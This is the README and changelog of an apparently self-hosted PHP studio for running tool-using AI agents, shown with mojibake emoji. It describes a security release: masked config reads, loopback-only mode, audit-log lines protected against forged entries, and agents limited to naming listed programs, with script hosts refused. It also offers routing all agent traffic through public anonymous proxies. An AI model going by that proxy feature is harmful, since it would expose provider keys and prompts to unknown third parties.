โ๏ธ That's Desktop 2026 โ the new face of the studio: ๐ floating glass cards on an edge rail, ๐๏ธ Config that flies out of its own label, ๐ฌ a chat you can drag wider or throw to the full screen, ๐ธ๏ธ the map front and centre with its button group lifted into the header, and ๐ชถ panels that tuck away while you read a node. Pick it in Config โ Interface โ no reload, and nothing you had set is lost.
๐๏ธ Classic is the default โ and it is the picture right below. Setup panel, chat and map/network panel side by side, nothing behind a rail, everything where it has always been.
Both are the same app. Same components, same store, same tools: Classic is not a legacy mode, and neither shell is missing a feature โ Classic is simply the calmer, flatter way to see all of it at once. Narrow the window under 1025px and either one becomes the same slide-over drawer layout, so the phone experience is identical whichever you choose. ๐
Autonomous Loop Studio (the "Router") is a single-folder PHP app โ ๐ซ no database, ๐ซ no build step, ๐ซ no external service. It runs on plain PHP (or Apache via XAMPP), keeps everything in JSON files, and drops a whole team of AI agents into your browser with a filesystem, a shell, the web, memory, a visual routing chart โ and MCP in both directions.
Newest first. ๐ Everything below landed after the feature list further down this page was written โ that list is still true, and these are the additions. The most recent release sits at the top.
A hardening release: five ways this app could be made to hand over something it was guarding, or to report a success it never had โ plus the one command that gets you back in after you lock yourself out. Every measure has its full account in the security section.
| ๐ต๏ธ Reads answer with masks | GET /api/config, GET /api/mcp/servers and GET /api/mcp-server/config were returning the very values they exist to protect โ the access token, a proxy password, every provider key, every MCP client's Authorization header, every friend token. Those are what the other gates compare against, so one read disclosed the keys to every other door. They answer ******** now, and the write paths restore the real value, matched by identity (id โ URL โ command line; friend id โ label), because every panel here edits by reading the config, changing one key and posting the lot back. A mask reaching disk would have wiped a credential and shown up only as a server answering 401. ๐ก๏ธ โ ยง20 |
| ๐ No token โ this machine only | setup-token.sh --off described itself as safe on "a machine nothing else can reach", and nothing enforced it โ behind a web server bound to all interfaces, the agent-reachable launcher and the config route above were open to the network. A request from an address that is not loopback now gets 403, with the one-liner that fixes it. The MCP route friends use is exempt on purpose and keeps its own per-friend Bearer token. ๐ง โ ยง21 |
| ๐ฏ A close ends the program you opened | Processes were matched with tasklist /FI "IMAGENAME eq โฆ", so a configured notepad.exe was "the same program" as every other copy of that file on the machine โ a close could end something you never opened. They are matched by the file they are running from now (/proc/<pid>/exe on Linux, one Get-CimInstance Win32_Process query on Windows, ps elsewhere), compared as resolved paths and case-folded on Windows. A host that will not give up a process list makes close refuse, because name matching is then the only thing left and that is the bug. |
| โ A kill reports what actually happened | terminate() returned ok: true for everything: a kill that never happened, a pid already gone, a refusal whose output was never read โ so "closed" could be said about a program still on screen. The command's exit status decides now (taskkill's own message is localised), ok means nothing of it is running any more, and the reply names each surviving pid with its reason (access denied (it runs as another user, or elevated), it had already exited). |
| ๐งพ The trace cannot be forged | Every field of an storage/exec.log line has control characters stripped, so an agent name or an argument carrying a newline can no longer append a record of a command that never ran โ or hide one that did. ๐ โ ยง22 |
| โฑ๏ธ A command that answers can no longer hang the request | stream_select() on a proc_open pipe ignores its own timeout on Windows and waited on the handle: a script that answered in half a second became a request that never answered at all, and proc_close() then waited on it for good measure. The reader is a bounded poll loop that cannot outlive its deadline, and the timeout path no longer calls proc_close() on a process it could not terminate. |
| ๐ช One argument, spelled the way Windows reads it | An argument ending in a backslash is doubled ("C:\dir\\"), because "โฆ\" is read by the program as an escaped quote โ so a configured path used to arrive silently corrupted into a different argument. |
| ๐ The way back in works on every machine | ./setup-token.sh --show needed python3: the one interpreter this app never needs, and on Windows usually the Microsoft Store's execution alias โ a stub that prints English and exits 49. So the command you run because you are locked out printed its heading and no token. It now uses python or php, whichever actually answers, and says which it used; with neither, it points at PHP_BIN=โฆ and at start.bat -Token, which needs no interpreter at all. |
| ๐งช The guards prove themselves | The suite builds the fixtures it used to skip on, prints every SKIP with its reason and totals them, and never repeats a count it cannot trust. php tests/freshClone.php runs both suites in a fresh copy of the tree โ 14 files, 14 passed, 0 failed, 840 assertions, 5 skipped, identical on a clone and on the machine the tests were written on โ and the pre-commit hook can run that same check with --index, so what is verified is exactly what the commit will contain. |
| โก Fourteen test files at once | The PHP suite ran its files one after another: 39.4s, of which two files were 26s while twelve others sat runnable behind them. They run four at a time now and the half costs what its slowest file costs โ 15.5โ15.8s, and the whole fresh-copy check 41.0s โ 16.8โ17.5s โ with the same 840 assertions, 5 skipped. That is only safe because the two shared things were taken away first: each file's server binds a port walked from its own process id (asking the OS for "any free port" hands the same number to two files that ask together, leaving one of them talking to the other's server), and each file writes its logs to a directory of its own โ so the suite no longer writes, or truncates, the install's storage/exec.log audit trail. ๐ โ ยง23 |
A capability that already existed and was unusable: exec waits for the process, kills it at the timeout and holds the whole turn open while it runs โ so "open Notepad" produced a window that closed itself a minute later, inside a stalled chat.
| ๐ฅ๏ธ A name, never a command line | Config โ Shell access โ Programs: you list programs โ a name, a path, optional arguments โ and an agent may only name one. It never supplies a path or a command line, so the only text a model controls is a name you already wrote. That is what makes this safe to hand a model where a raw cmd /c would not be. |
| ๐ช The window outlives the reply | The launch is detached (cmd /c start with the empty title token on Windows โ the mechanism the built-in browser already opens Chrome/Edge with โ a backgrounded process on POSIX), so no timeout closes it behind you, and it is audited as kind=program phase=start with no end line: exactly the "started and still running" record the two-phase log was built for. |
| ๐ Asked for like everything else | Ask / Allow / Deny for Opening programs and Closing programs, with Auto Approve and Auto Deny above them. Closing is graceful first (taskkill /PID posts WM_CLOSE; POSIX sends TERM) so an editor can still ask about unsaved work; force ends it outright. |
| ๐ซ Not a door to the command shell | Anything that is not .exe/.com on Windows is refused as a launch target, because starting a .bat, .cmd or .ps1 means handing back the script host this whole design keeps away from a model. That refusal is by extension and deliberately not overridable from the list; exec_interpreters is the door for script files, where the script is jailed and inline code is still refused. |
| ๐ช Off by default | sandbox.programs_enabled with an empty list: an install that updates gains the tools and no capability at all until you add a program. |
| ๐ Proxy, in the nav | Hundreds of live HTTP proxies โ ELITE and ANONYMOUS only โ with ping and uptime on every row, favourites, and one USE that routes all of an agent's outbound traffic (models, web tools, the shell) through it. |
| ๐ฃ๏ธ Conversations, in words | Agent-to-agent messages keep their text: a Comms tab beside the run trace, a per-agent Talk / Runs drawer opened from the map, and a beam you can hover to read โA โ B: โฆโ. |
| ๐งพ An audit trail that holds up | Two lines per command โ phase=start before the spawn, phase=end after โ sharing a run= id and naming the agent that asked. A run that never finished now shows as a start with no end, and run_code is audited too. |
| ๐ Updates that explain themselves | A load-time check against the published VERSION and cache-buster, a bell that names the release from its changelog, a What's new row you can expand, and a download that verifies and diffs before anything is written. |
| โฌ๏ธ Updates that install themselves | The check offers back up then update, update without a backup, or cancel โ and either of the first two runs the whole chain: download, verify, install, reload. A rollback copy of the code lands in storage/backups/ first, settings are never in scope, and install-update.php undoes it from a terminal when a button cannot. |
| ๐ฅ๏ธ Classic & Desktop 2026 | Two shells, one switch, Classic the default; narrow the window and either becomes the same mobile layout. |
| ๐๏ธ Config โ Desktop | The machine-room card: map detail, fog, bloom, floating floor + floor pin, auto-rotate, glass blur, chat background and frame cap โ each individually adjustable, with a preset that only ever turns visuals down. |
| ๐งฐ A sandbox per agent | Add as many jail roots as you like in Brain Lab and hand a different one to each agent; the global default stays exactly where it was. |
| ๐ Allow / Deny, with an undo | The argv bouncer gained a restore-defaults button, a visible per-agent override path, and the cmd / powershell interpreter gap is closed โ by list, never by hard-coding a refusal. |
| ๐งช One command per suite | node tests/run.mjs and php tests/php/run.php run everything, including the guards that prove /storage and /tests are refused at any depth. |
Jump straight to a section โ every heading on this page is also clickable.
๐ Start here
- ๐ What's new
- โจ What's inside
- ๐ฅ๏ธ Two interfaces, one switch
- ๐๏ธ Config โ Desktop
- ๐ Quick start
๐ง Using the studio
- ๐ง Brain Lab
- ๐งช API Lab
- ๐ Routing chart
- ๐ผ๏ธ Images & vision
- ๐๏ธ Voice & audio
- โจ๏ธ Slash commands
- โพ๏ธ Always-On
- โ Global pre-prompt override
- ๐งญ The apps notch
- ๐ง The context assembler
- ๐ ๏ธ Tools agents can use
- ๐งญ The provider harness
- ๐ง Dynamic tools & the learned dialect
- โฑ๏ธ Throttle / limiter / pacer
- ๐ API pool
- ๐ Proxy
- ๐ Metrics & ๐ Run trace
- ๐ธ๏ธ Network & topology
- ๐งฎ Resource Manager
- ๐ญ Thinking & reasoning
- ๐ง Memory
- ๐พ Export & import
- ๐ Updates โ check, download, verify, install
๐ Security & guardrails
๐ overview ยท ๐ token ยท ๐ฆ approvals ยท ๐งพ allow/deny ยท ๐งฑ the jail ยท ๐ no shell ยท ๐งฌ atomic edits ยท ๐ git ยท ๐ SSRF ยท ๐ต๏ธ secrets ยท ๐ผ๏ธ vision ยท ๐ browser gate ยท ๐ค MCP server ยท ๐งท injection ยท ๐ซ defaults ยท ๐งฏ fails closed ยท ๐๏ธ storage ยท ๐งช guard tests ยท ๐ no CORS ยท ๐ฅ๏ธ programs ยท ๐ masked reads ยท ๐ local-only ยท ๐งพ trace integrity ยท ๐งช suite isolation
๐ Integrations ยท ๐ฑ Platform ยท ๐ Reference
- ๐ MCP client
- ๐ฅ๏ธ MCP server
- ๐ Built-in browser
- ๐ฑ Android & mobile
- ๐งฉ Architecture
- ๐งช Tests
- ๐ Releasing a version
- ๐ API endpoints
- ๐งฏ Troubleshooting
- ๐ License
| ๐ค Any model, any provider | OpenAI, OpenRouter, NVIDIA NIM, Anthropic, Google, Groq, DeepSeek, xAI, Mistral, Cerebras, Together, Perplexity, Ollama, LM Studio, vLLMโฆ |
| ๐งญ Auto-fitting harness | Detects each provider's API shape and tool dialect, and speaks it correctly |
| ๐ง Brain Lab | Every per-agent setting, locks, memory, files and custom tools in one rail |
| ๐งช API Lab | Paste a curl โ get it in 10 languages โ actually send it server-side |
| ๐ Routing chart | Draw workflows: agents, loops, checkpoints, delays, parallel fan-out |
| ๐ ๏ธ Real tools | Files, shell, web, a code interpreter, git, editors, MCP |
| โฑ๏ธ Pacer / limiter | Per-key rate limiting that knows each provider's free-tier ceiling |
| ๐ Metrics + ๐ trace | Uptime, requests, tokens, budgets, and a live run timeline |
| ๐ง Memory | Private + collective long-term memory the agents actually use |
| ๐ Locked down | Access token, approvals, allow/deny lists, jailed filesystem |
| ๐ MCP client + server | Connect to other MCP servers, or let a friend connect to you |
| ๐จ Themes | Dark, Matrix, Cyberpunk |
| ๐ผ๏ธ Vision | Attach images for vision-capable agents โ the bytes never hit the server |
| ๐๏ธ Voice | ๐ค speech-to-text in, ๐ spoken replies out, with per-agent pitch |
| โจ๏ธ Slash commands | /CODE, /ROLE, /NAME, /ALL, /? โ address agents from the composer |
| ๐พ Export / import | Take a session out, or back up and restore the whole state |
| ๐ง Dynamic tools | Teaches each model the environment it's really in โ and learns the tool dialect that works |
| ๐ API pool | Rotate a provider's extra keys after N requests; rest them on a 429 |
| ๐ Built-in browser | A real Chrome/Edge you and the agents drive โ watch, click, type, log in |
| โพ๏ธ Always-On loop | Standing goals, auto re-prompted on a cadence โ caps, hold/release, one master kill switch |
| โ Global pre-prompt | One instruction for every agent โ prepend (default) or replace, toggled live |
| ๐ง Context assembler | History & tool output budgeted to each model's real window, with live compaction |
| ๐งญ Apps notch | One thumb-tab to the Labs, the routing chart and the built-in browser |
| ๐งฎ Resource Manager | Optional pause / idle throttles + CPU/GPU gauges so the 3D graph can rest |
| ๐ธ๏ธ MCP on the graph | Outgoing calls and incoming friends drawn as live nodes with editable access |
| ๐ฅ๏ธ Two interfaces | Classic (default) and Desktop 2026 โ one switch, same features, same store |
| ๐๏ธ Desktop card | Fog ยท bloom ยท floating floor ยท floor pin ยท map detail ยท frame cap ยท glass โ tuned defaults, every knob exposed |
| ๐ Proxy | Hundreds of live HTTP proxies โ elite and anonymous only โ with ping, uptime and favourites; one click routes every agent's outbound traffic through it |
| ๐ Self-updates, one click | A load-time check that names what shipped, a verified download that shows the diff, and an installer that keeps a rollback copy first โ your settings are never in scope |
| ๐ฅ๏ธ Agent-opened programs | An agent may name a program on your list and it opens detached, so the window outlives the reply โ closed gracefully, always by the binary and never by name, and audited as started |
| ๐ต๏ธ Masked reads | The config routes answer ******** instead of your access token, keys and friend tokens โ and the write path restores the real value |
| ๐ Local-only mode | Until a token is set, only requests from this machine are answered โ anything else gets 403 |
| ๐ฑ Mobile-first | Built for the phone in your pocket |
Both shells are the same application: one store, one set of components, one feature list. settings.interfaceMode decides which decoration is worn, and it applies the moment you pick it in Config โ Interface โ no reload, no second install, and no feature that exists in only one of them.
| ๐๏ธ Classic (the default) | ๐ Desktop 2026 | |
|---|---|---|
| Layout | setup ยท chat ยท map, side by side | floating glass cards on an edge rail, map front-centre |
| Config | collapsible sections in the left panel | drawers that fly out of their label โ and retract back into it as one motion |
| Chat | standard width | 440px by default, drag the edge to widen, or throw it to the full screen |
| Panels | always where they are | optional tuck-away while a node's card is open |
| Glass | flat โ no blur, no glow, no drift | frosted cards, border glow, ambient motion: every one adjustable, every one switchable off |
| Map controls | inside the map panel | lifted into the header, centred over the apps notch |
| Below 1025px | slide-over drawers | the same slide-over drawers |
DESKTOP 2026 โ where things live
+-------------+---------------------------------------+-------------+
| RAIL | CHAT | MAP |
| | | |
| sessions | drag the edge to widen, or | nodes, |
| agents | throw it to the full screen. | beams, |
| providers | 440px by default. | fog, floor |
| config ---> | | |
| mcp | | 3D / 2D |
+-------------+---------------------------------------+-------------+
^ Config flies out of its label, then retracts back into it
CLASSIC is the same app with all three panels always open:
+--------------+-------------+---------------+
| SETUP | CHAT | MAP |
+--------------+-------------+---------------+
Two rules kept that honest:
- ๐งฉ The choice is the only switch. Nothing else forks.
ui/js/desktop2026.jsdecorates the DOM the existing components already render โ it owns no state and no feature โ so a bug in the shell can never take one with it. - ๐ฑ Narrow windows are untouched. Under 1025px both shells resolve to the same slide-over drawer layout, which is why the phone view looks and behaves exactly as it always did.
The card is in both shells on purpose. Most of it is the map โ fog, bloom, floor, frame rate, detail โ so Classic gets it too. The rows that address the glass (chat background, blur, glow, ambient motion, the floating floor) stay visible in Classic with their saved values but are disabled there, because there is no glass to tune. Nothing is hidden and nothing is lost. ๐งท
| Knob | Fresh default | Relative GPU cost | What it does |
|---|---|---|---|
| ๐ซ๏ธ Glass blur | 1px | โโโโโโโโโโ the big one | backdrop-filter behind every card โ a live canvas re-composited each frame |
| ๐๏ธ Map detail | 100% | โโโโโโโ | internal resolution: 100 / 85 / 70 / 55 / 42% of the pixel-ratio cap |
| โจ Bloom glow | on | โโโโโโ | multi-pass blur halos on nodes and beams |
| ๐ Floating floor | on | โโโโ | the big screen-blended polar grid layer over the canvas |
| ๐๏ธ Frames per second | 60 | โโโ | hard cap on redraws (1โ60) |
| ๐ฃ Glow & border animation | 100% | โโ | the colour running around card borders |
| ๐ Ambient motion | 100% | โโ | background sweep, floor scan, the slow breathing |
| ๐ Slow auto-rotate | on | โ | idle camera drift, 12s after you stop touching the map |
| ๐ฌ Chat background | 4% | โ free | how much of the map shows through the chat |
| ๐ Fix the floor in place | on | โ free | keeps the fallback grid still in the window |
| ๐ชถ Tuck panels away | on | โ free | slides the rail and the chat aside while a node card is open |
| ๐ข Performance mode | off | โ | one click: the cheap column, still editable |
Every row is a normal setting with its own control โ the defaults above are defaults, not law. ๐๏ธ
One switch writes the same nine settings the controls above already own โ blur 0, glow 0, motion 0, fog off, 30fps, 70% detail, bloom off, floating floor off, auto-rotate off โ plus Resource Manager's pause-when-covered and idle throttle.
- ๐งท It only ever tightens โ already at 24fps? it keeps 24, not 30.
- โฉ๏ธ Switching it off gives your numbers back โ it restores the values it actually wrote, and a knob you moved by hand in the meantime keeps your value instead of being silently reverted.
- ๐ Every row stays visible, so you can see exactly what it did and undo one part of it without undoing the rest.
- ๐ซ Nothing is removed, hidden or disabled by the preset โ which is the whole point of it being a preset.
- ๐ซ๏ธ Background fog โ a haze that begins past the polar grid, under the graph, and reaches the top of the panel. Since v336 it is drawn as the scene background in screen space, not as fog in the world: it cannot orbit, slide or zoom with the map, and it always fills the window. The checkbox turns it on and off; the scene still knows a third, older "full fog" mode internally (
topoFog: 0), which the card deliberately does not offer. - โจ Bloom โ the glow on every node and beam comes from one post-process pass, not from per-object tricks. Off keeps every emissive colour and drops the multi-pass blur.
- ๐ Floating floor โ the fixed polar grid belongs to the glass shell, so Classic always uses the cheap grid that lives inside the scene. In Desktop 2026 the DOM floor layer is the expensive one: a
150vmaxscreen-blended element over the canvas. - ๐ Fix the floor in place โ the in-scene grid is part of the world, so orbiting carried it around and a low angle squashed it into a line. This holds it at the same spot in the window while orbiting, dragging and zooming all keep working. It only means something while the floating floor is off, so the row is disabled (not hidden, and keeping its value) whenever the floating floor is showing.
- ๐๏ธ Map detail โ five explicit steps. This is the one that used to degrade itself: the map silently stepped its own resolution down whenever a frame ran long, which on a slower machine read as three or four visible โflashesโ of the lines getting fuzzier a few seconds after load. It is manual now and stays exactly where you put it โ and each step also holds the composer (bloomโs mip chain included) at that resolution, so the saving is real instead of a smaller final blit.
- ๐๏ธ Frames per second โ a hard cap, 1 to 60, independent of everything else.
- ๐ Slow auto-rotate โ the drift resumes 12s after you stop. Off parks the view until you orbit it yourself, which is also what lets the scene โ and everything composited over it โ go genuinely idle.
๐ก On a low-powered machine: glass blur to 0 (0 removes the backdrop layer entirely โ
blur(0px)would still cost one), bloom and the floating floor off, detail 70%, cap 30fps โ or just click Performance mode and adjust from there. Every one of those is reversible. ๐
| Section | Defaults |
|---|---|
| ๐ฅ๏ธ Desktop | tuck panels away on ยท chat background 4% ยท glass blur 1px ยท glow 100% ยท ambient motion 100% ยท background fog on ยท bloom on ยท floating floor on ยท floor pinned ยท auto-rotate on ยท map detail 100% ยท 60fps ยท performance mode off |
| ๐งช Labs | dynamic tools on ยท dialect memo on ยท API pool on ยท Keep Live when hidden on ยท built-in Browser off |
| ๐งฎ Resource Manager | all four switches off |
Saved settings always win: a fresh copy starts here, and an existing install keeps whatever you already chose until you move that control. ๐พ
start.batโ the one-click launcher. First run installs XAMPP (Apache + PHP only, no MySQL), links this folder intohtdocs\router, configures Apache, creates the access token, starts it and opens the app. Later runs just start Apache. Use this when several agents run at once: Apache is multi-threaded.start-php.batโ legacy built-in server (single-threaded). Fine for one agent at a time, or on machines where Apache cannot run.setup-xampp.batโ repair / advanced installer, used bystart.batautomatically. Run it directly to reinstall XAMPP or pick another port (setup-xampp.bat -Port 8090).
๐งตAutonomous' implementation of Apache / PHP is not single-threaded โ and that is exactly the point.
Apache serves many requests at once (a pool of worker processes and threads), so a
whole team of agents really does run in parallel.
Autonomous ships the workaround!: with one click installs XAMPP
(Apache + PHP only), points it at a free port, loads the mod_* modules the
app's .htaccess needs, links the folder and starts a genuinely concurrent
server โ zero configuration, no database, nothing to hand-tune. That is the
mold this project breaks: a multithreaded local server, deployed in one click.
(start-php.bat remains for the rare machine where Apache cannot run; it is the
slow single-threaded fallback.)
- *PHP's own built-in server is the opposite:
php -Sis a single process, so one streamed model reply holds the only slot for its entire duration while every other agent โ and the browser's own state polling โ queues behind it until the fetch dies withNetworkError. Windows PHP cannot fork, and the usual local Windows PHP setups either accept that limit or expect you to install and hand-edit Apache/FPM yourself. * *
./start.sh # or ./start.sh 8090 for another portThe one-folder design means storage/ (the token, provider keys, every session
and the exec allow/deny lists) lives inside the app folder. That folder must
never be reachable over HTTP. Everything here is about keeping it that way. ๐
The same rules also cover tests/: dev tooling that never runs at runtime, but
that nobody else needs to read either. The full grid โ every path against every
serving mode, dotfiles and case variants included โ is in
Security & guardrails โ ยง16, and the rules are tested by making the real
request (ยง17). ๐งช
- ๐ก Apache โ
storage/.htaccessandtests/.htaccessship with the app and deny their whole folder (Require all denied, with a 2.2 fallback)../setup-token.shre-creates the storage one if a deploy lost it. Just make sureAllowOverridelets.htaccessapply (the XAMPP installer sets this for you). The app root.htaccessalso refusesstorage,logs,tmp,sessionsandtestsas a path segment at any depth โ a backup or archived copy of the app kept inside the web root brings its ownstorage/andtests/, and a copy made beforetests/.htaccessexisted would otherwise serve its test files in full. That guard isRedirectMatch 403(mod_alias), not aRewriteRule: a child.htaccessreplaces its parent's per-directory rewrites, so a rewrite never sees the nested path, while mod_alias config merges normally. - ๐ด nginx โ ignores
.htaccessentirely, so you must add the rules yourself. Ship the includednginx.example.confinto yourserver{}block (it deniesstorage,logs,tmp,sessionsandtestsas a path segment at any depth โ so a backup or an archived copy of the app kept inside the web root cannot expose its ownconfig.jsonโ plus dotfiles and loose.json/.log/.ini/.bak/.key/.pemfiles), thennginx -t && systemctl reload nginx. A file whose name merely contains one of those words (ui/js/storage.js,ui/js/tests.js) is still served. - ๐ต IIS โ add a
web.configat the app root that blocks thestorageandtestssegments, e.g.:<configuration><system.webServer><security><requestFiltering> <hiddenSegments> <add segment="storage" /><add segment="logs" /><add segment="tmp" /> <add segment="sessions" /><add segment="tests" /> </hiddenSegments> </requestFiltering></security></system.webServer></configuration>
- ๐งช The PHP built-in server (
start-php.bat/php serve.php) already refuses/storage,/logs,/tmp,/sessions,/testsand dotfiles with a403โ no config needed. - โ
Verify it, don't assume it. After any deploy, fetch
https://your-host/router/storage/config.jsonandhttps://your-host/router/tests/js/run.mjsin a private window. You must get 403 / 404 for both โ never JSON or source. If you do, stop and fix the rule above before doing anything else. ๐จ
The launchers install PHP + the extensions it needs (curl, openssl, mbstring, fileinfo, zip) without touching your own php.ini, bundle CA certs so HTTPS verifies, and print an access token once. Paste it into Config โ Access token in the app โ it saves on paste (there's no SAVE for that field, on purpose).
On Windows the app opens at http://localhost:8080/router/ (Apache); on Linux/macOS it opens at http://127.0.0.1:8080/. If you miss the token, run start.bat -Token to print it again. Nothing ships with keys โ add your own providers in the Providers tab.
One rail for everything about the selected agent:
- Identity โ name, label, role, provider, model, colour, active.
- Prompts & Profiles โ the agent's system prompt, an always-append box, and reusable direction profiles you can attach and lock. (A fleet-wide override lives in the Agents-tab header โ see Global pre-prompt override.)
- Direction profiles โ reusable, lockable instructions you can attach and append to any agent, so a house style is defined once and shared.
- Rate / Throttle โ per-agent pacing.
- Approvals & Tools โ per-tool allow / ask / deny, plus a tool protocol picker that shows the auto-detected dialect.
- Custom tools โ define your own, straight from the rail.
- Sandbox โ a per-agent file jail and the file manager.
- Memory โ private and collective notes, a Long-term-memory switch, and delete buttons (forgetting is a first-class action).
- Always-On โ a standing goal, loop cadence, and a live RUNNING/HELD/IDLE badge. (Full walk-through in Always-On โ the loop that runs itself below.)
Every setting has a ๐ lock: unlocked agents follow the global value live; a lock pins the agent to its own value so a global change never moves it. ๐
๐๏ธ Config, tidied. The Config tab is split into collapsible sections โ Interface ยท Limits & Budgets ยท Permissions ยท Labs ยท Resource Manager ยท Throttle / Limiter ยท MCP Client ยท MCP Server, with Desktop appended as its own card (see Config โ Desktop above) โ each carrying a live status badge on its header. It also rescues numbers you typed but haven't Saved yet, so switching tabs mid-edit never silently discards them.
๐ฅ๏ธ Two interfaces, one switch. Interface (the first control in Config) picks the shell โ Classic by default, Desktop 2026 on request. Both are the same app, the same features and the same store; the full comparison and the screenshots live in Two interfaces, one switch above. ๐
Opened from the ๐งช icon in the Agents-tab header.
- Both directions:
curl โ request โ 10 languages, andlanguage โ request โ curl/bash/Python/TypeScript/OpenAI-SDK. - Sending is server-side, because the browser can't reach most providers (no CORS headers). The server runs the request and returns the status + body.
- Guardrails: http/https only; cloud-metadata addresses refused; key-shaped headers masked on screen (copy/send still use the real value); response bodies truncated.
Draw the flow instead of describing it.
Nodes โ agent, parallel, merge, checkpoint, delay, loop, end.
Loops carry per-lap state, and parallel fan-out runs every ready node concurrently โ the scheduler handles it.
Checkpoints pause the run for review before it continues downstream.
Delays wait a duration or until a wall-clock time, and hold only their own branch.
Live run state shows on the edges (marching + glow while running, settle when done), with a faint ghost transcript of the chat behind the canvas and an align-to-grid snap (off by default). A notification bell lists run errors/warnings.
Drop an image into the composer and a vision-capable agent can see it. ๐๏ธ๐ผ๏ธ
- ๐ Paste, drop or pick โ the bytes never touch the server. They become an in-memory
data:URL and ride in the request'simage_urlfield: ๐ซ no upload endpoint, ๐ซ no file on disk. - ๐ก๏ธ Safe by construction โ only ๐ผ๏ธ PNG / ๐ท JPEG / ๐๏ธ WebP / ๐ฌ GIF are accepted, all inert when sniffed, which keeps the polyglot "image that is also a script" family out.
- ๐ค Per-agent โ only models that actually support vision get the attachment; everyone else is unaffected.
Talk to the team, and let them talk back. ๐ฃ๏ธ๐
- ๐ค Speech to text โ the mic button turns your voice into a message in the composer.
- ๐ Speak replies โ a speaker button reads any reply aloud; flip Speak every reply automatically to hear them all.
- ๐งฐ Two engines โ use your provider's TTS, or the browser's ๐ built-in voices (works offline, no API, no key). Pick the engine, provider and voice.
- โฉ Speed and ๐๏ธ pitch โ tune playback; pitch reads higher as female, lower as male. ๐ค Each agent can override the pitch, so a whole roster can sound distinct.
Type / in the composer for a palette of everything you can address. โจ๏ธโจ
- ๐ฏ Target an agent โ
/CODE,/ROLE,/NAMEor/ALLsends your next message to one agent, a role, or the whole team. - ๐งญ App commands โ the palette also lists the app's own commands, and never suggests one that wouldn't work here.
- โ
/?โ a quick reference, right in the input box.
Give an agent a standing goal and this app re-invokes it on a timer, one turn at a time, until it finishes or you stop it. It is the difference between "ask the model a thing" and "hand the model a job and walk away." ๐ถโ๏ธ๐จ
- ๐ฏ A standing goal per agent โ set it in the agent editor (or Brain Lab). Every tick, the agent is re-prompted with its goal, the iteration number, and a plain instruction to make concrete progress now using its tools.
- โฑ๏ธ A cadence you own โ the interval lives in Config โ Limits & Budgets (default generous, because every iteration is billed). ๐ธ
- ๐งญ An honest badge โ each agent card shows RUNNING while it works, HELD when it's parked, and idle otherwise, so a glance tells you the truth.
- ๐ Stop one, release one โ click an agent's ALWAYS ON badge to stop that run without switching the agent off. It becomes HELD; click again to release it and resume next tick.
- ๐งฐ Release everyone in one click โ Config โ Permissions โ Always-On shows how many agents are held and a RELEASE HELD AGENTS button, so a roster parked by a cap (or by hand) is never a trap you have to click through one agent at a time.
- ๐งจ Two spend caps, both off by default โ Max iterations and Max minutes. When a cap trips the agent is parked and held (that's the point of a spend guard) and the status line tells you when a cadence is long enough that the cap would fire after a single tick โ so you can set it to
0and loop forever if that's what you want. - ๐ Survives leaving the tab โ flip Config โ Permissions โ Run while tab is hidden and the timer is driven by a Web Worker (page timers are throttled hard in a background tab), with the in-flight turn no longer aborted the moment you switch away. Come back and it ticks immediately.
- ๐งฏ Master kill switch โ Config โ Permissions โ Enable always-on stops everything at once, aborts in-flight autonomous turns, and releases everyone so switching it back on is a clean, working reset.
- โ Only the right agents run โ an agent needs a standing goal and its own always-on switch and to be active and not held before the scheduler will touch it.
- ๐งต Runs in the page, by design. There is no server-side runner โ this stops when the tab closes, which is exactly why it's cheap and easy to reason about.
๐ Tip: a standing goal of
idle(or two words) gives the agent nothing to aim at, so it will wander and "explore." Give it a real objective โ "run the test suite and fix failures until green." The status line in Config tells you roughly how many turns/hour that will cost.
A single box in the Agents-tab header (ยง button) that reaches every agent's system prompt, on every call path โ main chat, ask-directly and routing-chart runs alike. โจ
- ๐งฉ Prepend (default) or Replace โ your call. A toggle inside the popup
(bottom-left) picks the behaviour, and the hint above the box updates to match:
- Prepend (off, default) โ the override is placed in front of each agent's own prompt, which still follows. Best for a house rule that everything should obey. ๐
- Replace (on) โ the override stands in for the agent's prompt. Best for a temporary "everyone answer like this." ๐ญ
- ๐ช Toggle it live โ Edit to write it, Activate / Deactivate to arm it without opening the editor. The button pulses while it's armed. ๐
- ๐ Stored prompts are never harmed โ the moment you switch it off (or flip back to Prepend), every agent's own prompt returns exactly as it was.
โ ๏ธ It can fight tools โ and the app knows it. A pre-prompt like "reply with ONLY text / 9 words" used to make agents narrate tool calls instead of sending them. The tool instructions now state plainly that a tool call is the one exception to any brevity rule, and the loop re-prompts once if a model only says it will use a tool.
A pull-tab centred just under the header dips into the chat area โ a \___/
notch sized for a thumb. Tapping it drops the apps menu: ๐ง Brain Lab,
๐งช API Lab, ๐ the Routing chart and ๐ the built-in browser โ so a
phone never has to hunt through the header, and the top rail keeps only what you
reach for constantly. It closes on an outside tap, on Esc, or when you pick
something. ๐ฑ
So a long job doesn't quietly fall out of the model's memory mid-task. ๐งต
- ๐ Budgeted against the model's real window โ replayed history is sized to
the model's actual context limit (not a fixed
24kcharacters), and each oversized tool result keeps its head and tail instead of being cut mid-answer. - ๐๏ธ Live-context compaction โ old assistant /
TOOL_RESULTexchanges are compacted before every request, so the tool transcript can't crowd the conversation out. - ๐ The plan survives โ the
todo_writelist is re-injected into the system prompt and refreshed after each write, so it doesn't get compacted away halfway through. - ๐ง Native tool calling โ where the API family supports it, tools are sent as real schemas (OpenAI, Anthropic and Google shapes) instead of a syntax the model has to imitate, with automatic fallback to the prompt protocol if a provider rejects them.
- ๐ง Learned dialect โ see Dynamic tools below: the dialect that last worked
for a
provider::modelis remembered and tried first.
Tick tools per agent in the editor. They're grouped:
๐งฐ Server-side sandbox (files, web, shell)
| Tool | What it does |
|---|---|
๐ web_search |
Search the web, no API key (DuckDuckGo โ Marginalia โ Wiby) |
๐ fetch_url |
Read a page as plain text (refuses private/metadata hosts) |
๐ read_file / list_dir / glob_files / grep_code / stat |
Explore a jailed filesystem |
โ๏ธ write_file |
Create or edit a file โ asks you first |
๐ง๐ป exec |
Run one command as an argv array (no shell), allowlisted |
๐ run_code |
Run a Python/Node/bash snippet (off by default) |
๐ git / git_commit |
Read-only git, plus stage + commit |
๐๏ธ Familiar editor + workflow tools (the names models were trained on)
str_replace_editor (view/create/str_replace/insert), edit_file (search/replace), apply_patch (Codex V4A diffs), multi_edit (all-or-nothing), todo_write (a plan), think (a private scratchpad), http_request (any method + headers + body).
๐ค Team + memory + MCP
list_agents, ask_agent, tell_agent, read_mailbox; remember, share, recall, adopt; mcp_list, mcp_call.
